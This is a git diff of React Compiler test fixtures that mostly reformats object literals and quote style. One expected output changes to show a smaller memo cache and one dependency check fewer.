diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.js
index b3678c52cda2..2edafc3751b7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/prune-scopes-whose-deps-may-invalidate-array.js
@@ -1,4 +1,4 @@
-import { useHook, identity } from "shared-runtime";
+import {useHook, identity} from 'shared-runtime';
 
 function Component(props) {
   let x = 42;
@@ -15,5 +15,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: "sathya" }],
+  params: [{value: 'sathya'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.expect.md
index 8e16183e17b5..5deb18397d91 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-const FooContext = React.createContext({ current: null });
+const FooContext = React.createContext({current: null});
 
 function Component(props) {
   const foo = React.useContext(FooContext);
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
 
 ```
@@ -29,10 +29,10 @@ import { c as _c } from "react/compiler-runtime";
 const FooContext = React.createContext({ current: null });
 
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(5);
   React.useContext(FooContext);
   const ref = React.useRef();
-  const [x, setX] = React.useState(false);
+  const [, setX] = React.useState(false);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = () => {
@@ -53,13 +53,12 @@ function Component(props) {
     t1 = $[2];
   }
   let t2;
-  if ($[3] !== onClick || $[4] !== t1) {
+  if ($[3] !== t1) {
     t2 = <div onClick={onClick}>{t1}</div>;
-    $[3] = onClick;
-    $[4] = t1;
-    $[5] = t2;
+    $[3] = t1;
+    $[4] = t2;
   } else {
-    t2 = $[5];
+    t2 = $[4];
   }
   return t2;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.js
index 32d51ad152d3..beb1c22badfc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/react-namespace.js
@@ -1,4 +1,4 @@
-const FooContext = React.createContext({ current: null });
+const FooContext = React.createContext({current: null});
 
 function Component(props) {
   const foo = React.useContext(FooContext);
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.expect.md
index 1b2365eb83a2..fcf78721a061 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.expect.md
@@ -18,14 +18,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { limit: 10 },
-    { limit: 10 },
-    { limit: 1 },
-    { limit: 1 },
-    { limit: 10 },
-    { limit: 1 },
-    { limit: 10 },
-    { limit: 1 },
+    {limit: 10},
+    {limit: 10},
+    {limit: 1},
+    {limit: 1},
+    {limit: 10},
+    {limit: 1},
+    {limit: 10},
+    {limit: 1},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.js
index ce7a269c5ce2..ce1329c00d4d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-indirect.js
@@ -14,13 +14,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { limit: 10 },
-    { limit: 10 },
-    { limit: 1 },
-    { limit: 1 },
-    { limit: 10 },
-    { limit: 1 },
-    { limit: 10 },
-    { limit: 1 },
+    {limit: 10},
+    {limit: 10},
+    {limit: 1},
+    {limit: 1},
+    {limit: 10},
+    {limit: 1},
+    {limit: 10},
+    {limit: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.expect.md
index 84e853b5cc8d..8cc8ce69f095 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.expect.md
@@ -24,14 +24,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.js
index bfec97389dd3..52ad55c38ca6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-do-while-test.js
@@ -20,13 +20,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.expect.md
index e1f6518a5050..0f2a2869b719 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.expect.md
@@ -23,14 +23,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { init: 0 },
-    { init: 0 },
-    { init: 10 },
-    { init: 10 },
-    { init: 0 },
-    { init: 10 },
-    { init: 0 },
-    { init: 10 },
+    {init: 0},
+    {init: 0},
+    {init: 10},
+    {init: 10},
+    {init: 0},
+    {init: 10},
+    {init: 0},
+    {init: 10},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.js
index 9f5d475997bc..13d54ef8ca7e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-init.js
@@ -19,13 +19,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { init: 0 },
-    { init: 0 },
-    { init: 10 },
-    { init: 10 },
-    { init: 0 },
-    { init: 10 },
-    { init: 0 },
-    { init: 10 },
+    {init: 0},
+    {init: 0},
+    {init: 10},
+    {init: 10},
+    {init: 0},
+    {init: 10},
+    {init: 0},
+    {init: 10},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.expect.md
index 1108d8e7c511..d7c5a82873ce 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.expect.md
@@ -22,14 +22,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.js
index 0aac7661c375..fb72e008e3c5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-test.js
@@ -18,13 +18,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { test: 12 },
-    { test: 12 },
-    { test: 1 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
-    { test: 12 },
-    { test: 1 },
+    {test: 12},
+    {test: 12},
+    {test: 1},
+    {test: 1},
+    {test: 12},
+    {test: 1},
+    {test: 12},
+    {test: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.expect.md
index 85fd20078671..a59893fe96d8 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.expect.md
@@ -22,14 +22,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { update: 2 },
-    { update: 2 },
-    { update: 1 },
-    { update: 1 },
-    { update: 2 },
-    { update: 1 },
-    { update: 2 },
-    { update: 1 },
+    {update: 2},
+    {update: 2},
+    {update: 1},
+    {update: 1},
+    {update: 2},
+    {update: 1},
+    {update: 2},
+    {update: 1},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.js
index 356df12338f8..8d4ab0933891 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-for-update.js
@@ -18,13 +18,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { update: 2 },
-    { update: 2 },
-    { update: 1 },
-    { update: 1 },
-    { update: 2 },
-    { update: 1 },
-    { update: 2 },
-    { update: 1 },
+    {update: 2},
+    {update: 2},
+    {update: 1},
+    {update: 1},
+    {update: 2},
+    {update: 1},
+    {update: 2},
+    {update: 1},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.expect.md
index 34443a99b4bf..4d15f3f700e1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.expect.md
@@ -23,14 +23,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { values: { "12": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
-    { values: { "1": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
+    {values: {'12': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
+    {values: {'1': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.js
index 6796efda6ae1..60efa406bed9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forin-collection.js
@@ -19,13 +19,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { values: { "12": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
-    { values: { "1": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
-    { values: { "12": true } },
-    { values: { "1": true } },
+    {values: {'12': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
+    {values: {'1': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
+    {values: {'12': true}},
+    {values: {'1': true}},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.expect.md
index 7b42de5b8355..d2b56a454ef3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.expect.md
@@ -22,14 +22,14 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { values: [12] },
-    { values: [12] },
-    { values: [1] },
-    { values: [1] },
-    { values: [12] },
-    { values: [1] },
-    { values: [12] },
-    { values: [1] },
+    {values: [12]},
+    {values: [12]},
+    {values: [1]},
+    {values: [1]},
+    {values: [12]},
+    {values: [1]},
+    {values: [12]},
+    {values: [1]},
   ],
 };
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.js
index 5fe07f40693b..ada4db74f0b0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-forof-collection.js
@@ -18,13 +18,13 @@ export const FIXTURE_ENTRYPOINT = {
   fn: Component,
   params: [],
   sequentialRenders: [
-    { values: [12] },
-    { values: [12] },
-    { values: [1] },
-    { values: [1] },
-    { values: [12] },
-    { values: [1] },
-    { values: [12] },
-    { values: [1] },
+    {values: [12]},
+    {values: [12]},
+    {values: [1]},
+    {values: [1]},
+    {values: [12]},
+    {values: [1]},
+    {values: [12]},
+    {values: [1]},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.expect.md
index 6b13d004b4b4..92eaa0df391c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.js
index 0ba3dddd26e2..acbf3aeb3d65 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-do-while.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.expect.md
index 029ea768aa36..0f25437f23fc 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.expect.md
@@ -10,7 +10,7 @@ function Component(props) {
   const a = [];
   const b = [];
   b.push(props.cond);
-  a.push({ a: false });
+  a.push({a: false});
 
   // Downstream consumer of a, which initially seems non-reactive except
   // that a becomes reactive, per above
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.js
index 16bfc628c6d4..bb07b8e48979 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-in.js
@@ -6,7 +6,7 @@ function Component(props) {
   const a = [];
   const b = [];
   b.push(props.cond);
-  a.push({ a: false });
+  a.push({a: false});
 
   // Downstream consumer of a, which initially seems non-reactive except
   // that a becomes reactive, per above
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.expect.md
index 47c8589e483b..a02bbfd7c8ee 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.js
index 0091198ef0e4..dbb4b87c99b9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-init.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.expect.md
index e0441ff680e5..ef3595ce2f57 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.js
index d55fef8ff8ba..0aec823804ed 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-of.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.expect.md
index d037a124a139..d5ebb1262162 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.js
index 582b8c4d6434..1b44e943160d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-test.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.expect.md
index d99523d0e03e..86bb037b0844 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.expect.md
@@ -29,7 +29,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.js
index b4aafa459e23..325808e74655 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-for-update.js
@@ -25,5 +25,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.expect.md
index ccddda4f039c..3ab4614a143e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.expect.md
@@ -31,7 +31,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.js
index 34122dd29048..a2e3d3992eb6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-if.js
@@ -27,5 +27,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.expect.md
index e6b32d66eee4..a6bb185de791 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.expect.md
@@ -35,7 +35,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.js
index c94c45e4e221..792a4988904a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/reactive-control-dependency-from-interleaved-reactivity-switch.js
@@ -31,5 +31,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ cond: true }],
+  params: [{cond: true}],
 };
